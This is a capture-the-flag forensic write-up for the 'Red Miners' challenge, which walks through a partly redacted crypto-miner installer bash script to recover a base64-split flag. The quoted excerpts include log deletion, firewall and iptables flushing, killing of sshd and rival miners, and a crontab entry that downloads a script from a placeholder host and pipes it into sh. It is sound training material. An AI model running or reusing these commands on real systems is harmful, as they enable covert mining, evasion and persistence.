Red Miners

7th July 2023 / Document No. D23.102.3

Prepared By: c4n0pus & thewildspirit

Challenge Author(s): c4n0pus & thewildspirit

Difficulty: Very Easy

Classification: Official

Synopsis

Red Miners is a Very Easy forensic challenge that involves a crypto miner installer script.

Description

In the race for Vitalium on Mars, the villainous Board of Arodor resorted to desperate measures, needing funds for their mining attempts. They devised a botnet specifically crafted to mine cryptocurrency covertly. We stumbled upon a sample of Arodor's miner's installer on our server. Recognizing the gravity of the situation, we launched a thorough investigation. With you as its leader, you need to unravel the inner workings of the installation mechanism. The discovery served as a turning point, revealing the extent of Arodor's desperation. However, the battle for Vitalium continued, urging us to remain vigilant and adapt our cyber defenses to counter future threats.

Skills Required

- N/A

Skills Learned

- Linux / Bash scripting
- Resource Management
- Linux Persistence

Enumeration

We are being provided with a single `zip` file that contains a `bash` script.

The script contains many functions, let's go through them one by one:

```
checkTarget() {
  EXPECTED_USERNAME="root7654"
  EXPECTED_HOSTNAME_PREFIX="UNZ-"

  CURRENT_USERNAME=$(whoami)
  CURRENT_HOSTNAME=$(hostname)

  if [[ "$CURRENT_USERNAME" != "$EXPECTED_USERNAME" ]]; then
      exit 1
  fi

  if [[ ! "$CURRENT_HOSTNAME" == "$EXPECTED_HOSTNAME_PREFIX"* ]]; then
      exit 1
  fi
}
```

The `checkTarget()` function checks whether the current user and machine name match the expected values, and if not the installer exits

```
cleanEnv() {
  ulimit -n 65535
  rm -rf /var/log/syslog
  chattr -iua /tmp/
  ufw disable
  iptables -F
  echo "nope" >/tmp/log_rot
  sudo sysctl kernel.nmi_watchdog=0
  echo '0' >/proc/sys/kernel/nmi_watchdog
  echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
  userdel akay
  userdel vfinder
  chattr -iae /root/.ssh/
  chattr -iae /root/.ssh/authorized_keys
  rm -rf /tmp/addres*
  rm -rf /tmp/walle*
  rm -rf /tmp/keys
  ps aux| grep "/dot"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  pkill -f hezb
  ps aux| grep "tracepath"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  pkill -f /tmp/.out
  ps aux| grep "./ll1"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  pkill -f .git/kthreaddw
  ps aux | grep "agetty" | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill
-9 %
  crontab -l | sed '/base64/d' | crontab -
  crontab -l | sed '/python/d' | crontab -
```

```
  pkill -f sshd
  pkill -f htop
  netstat -anp | grep ":1414" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-
" | xargs -I % kill -9 %
  netstat -anp | grep :14444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-"
| xargs -I % kill -9 %
  cat /tmp/.X11-unix/01|xargs -I % kill -9 %
  cat /tmp/.X11-unix/11|xargs -I % kill -9 %
  kill -9 $(cat /tmp/.systemd.1)
  cat /tmp/.pg_stat.0|xargs -I % kill -9 %
  cat /tmp/.pg_stat.1|xargs -I % kill -9 %
  cat $HOME/data/./oka.pid|xargs -I % kill -9 %
  pkill -f p8444
  pkill -f supportxmr
  pkill -f monero
  [REDACTED]
}
```

Redacting a lot of code from the `cleanEnv()` function, where simply, the script checks for any process that may hinder the mining performance of the machine and kills it. It's also worth mentioning that it also checks for other miners running on the machine, and kill their process as well.

```
cronCleanUp() {
  crontab -l | sed '/base64/d' | crontab -
  crontab -l | sed '/update.sh/d' | crontab -
  crontab -l | sed '/logo4/d' | crontab -
  crontab -l | sed '/logo9/d' | crontab -
  crontab -l | sed '/logo0/d' | crontab -
  [REDACTED]
}
```

Following the same pattern, the `cronCleanUp()` function cleans up the scheduled Tasks in `crontab`.

Note: In order to protect the users, both of the aforementioned functions are **never** called and also the script, should exit after a call to the `checkTarget()` so nothing gets downloaded (the TLD is invalid, in any case)

Solution

The flag is split up into 4 base64 encoded parts:

- 1st part is in the crontab pollution:

```
if [ $? -eq 0 ]; then
  echo "cron good"
else
  (
    crontab -l 2>/dev/null
    echo '* * * * * $LDR http://tossacoin.htb/ex.sh | sh & echo -n
cGFydDE9IkhUQnttMW4xbmciCg==|base64 -d > /dev/null 2>&1'
  ) | crontab -
fi
```

- 2nd part is in the kill-switch check:

```
check_if_operation_is_active() {
  local url="http://tossacoin.htb/cGFydDI9Il90aDMxcl93NHkiCg=="

  if curl --silent --head --request GET "$url" | grep "200 OK" >/dev/null; then
    echo "Internet is enabled."
  else
    exit 1
  fi
}
```

- 3rd part is in the `checkExists()` function:

```
checkExists() {
  CHECK_PATH=$1
  MD5=$2
  sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
  retval=""
  if [ "$MD5" = "$sum" ]; then
    echo >&2 "$CHECK_PATH is $MD5"
    retval="true"
  else
    echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
    retval="false"
  fi

  dest=$(echo "X3QwX200cnM="|base64 -d)
  if [[ ! -d $dest ]];
  then
    mkdir -p "$BIN_PATH/$dest"
  fi
  cp $CHECK_PATH $BIN_PATH/$dest
  echo "$retval"
}
```

- 4th part is right after the checks:

```
checkTarget
check_if_operation_is_active

echo "ZXhwb3J0IHBhcnQ0PSJfdGgzX3IzZF9wbDRuM3R9Ig==" | base64 -d >> /home/$USER/.bashrc

Sleep 1000
```